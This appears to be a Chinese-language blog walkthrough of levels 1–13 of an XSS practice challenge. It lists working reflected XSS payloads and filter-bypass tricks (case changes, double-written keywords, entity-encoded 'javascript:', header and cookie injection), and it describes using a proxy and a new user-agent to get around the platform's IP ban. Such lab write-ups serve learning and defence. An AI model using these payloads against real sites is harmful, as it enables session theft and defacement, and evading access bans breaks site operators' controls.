xss从零开始之刷xss挑战

[toc]
才学xss,也不知道从何学起,就先各种找平台刷题吧,我觉得刷题是一种可以较快熟悉xss的方式
平台地址:http://test.ctf8.com/

level 1

第一关很简单,反射型xss,get提交一个参数然后会在页面中显示出来,然后查看源代码可以构造出payload。
payload:

1
2
</h2><svg onload='alert(1)'>
test"><svg onload='alert(1)'>

好吧,我构造的是第一个payload,但不知道为什么第二个也可以,暂时看不懂,日后再来看吧

level 2

这个和第一个一样,只不过这个在搜索框处,体现了很重要的一点,搜索处容易出现反射型xss。
payload:

1
test"><svg onload='alert(1)'>

level 3

这道题把左右尖括号<>转换为html实体,想直接构造标签有点难度,所以在属性处构造,先闭合属性,然后构造新属性,基于事件弹窗。
payload:

1
2
1' onclick='alert(1)''
1' oninput=alert`1` //

第一个是点击输入框时弹窗,第二个是在输入框输入时弹窗,括号可以用反引号代替。

level 4

就是把第三题的单引号换成双引号就好了,
payload:

1
2
1" onclick='alert(1)'"
1" onclick=alert(1) //

level 5

这里会把
on 替换为 o_n
script 替换为 sc_ript

payload:

1
"> <a href="javascript:alert(1)">a</a>

呃呃,练习到此结束了,在这里试payload,结果把我ip封了,挂代理也进不去,我也是无语,这不是练习平台吗。

呃呃,挂了代理,换了个user-agent好了,又可以继续“攻击”他了。。。。。

level 6

这里在level 5的基础上又增加了对属性名的过滤
src 替换为 sr_c
href 替换为 hr_ef
on 替换为 o_n
但是只要大小写就可绕过

payload:

1
2
"><a hRef=javascript:alert(1)>xss</a>
"><image sRc=1 Onerror=alert(28)>

level 7

这里会把on等字符替换为空,双写绕过即可

payload:

1
2
1" oonnclick=alert(1)>
"> <scscriptript>alert`xss`</scscriptript> //

level 8

对script有过滤
script 替换为 scr_ipt
可以使用html编码,html解析时只会对属性中的值进行html解码,直接构造<scr&#105;pt\>不会解码,但是构造<a href='javascr&#105;pt:alert(1)'>,会变成<a href='javascript:alert(1)'>,十进制或者十六进制都可以,所以可以构造payload。

payload:

1
2
javascr&#105;pt:alert(1)
javasc&#x72;ipt:alert`1`

level 9

这个限制又多了些,
链接中必须带有http://
script 替换为 scr_ipt
但是他没有规定http必须放在开头,所以可以使用注释的方式注释掉http

payload:

1
javascr&#105;pt:alert(1)//http://www.aaa.com

level 10

这关没有搜索框了,get参数提交尖括号<>会被转义,无法构造,但是查看源代码会发现有三个隐藏的输入框,把其中的type的类型由 hidden 改为 text,随便输入个值回车会发现多了三个参数,试了一下输入点在第三个参数 t_sort
然后就很容易了

payload:

1
123" onmouseover='alert(1)' type="text

level 11

和上一关的payload一样,只不过这次注入点是在 HTTP Request Header 请求头的 Refer 字段

payload:

1
123" onmouseover='alert(1)' type="text

level 12

注入点在user-agent

level 13

注入点在cookie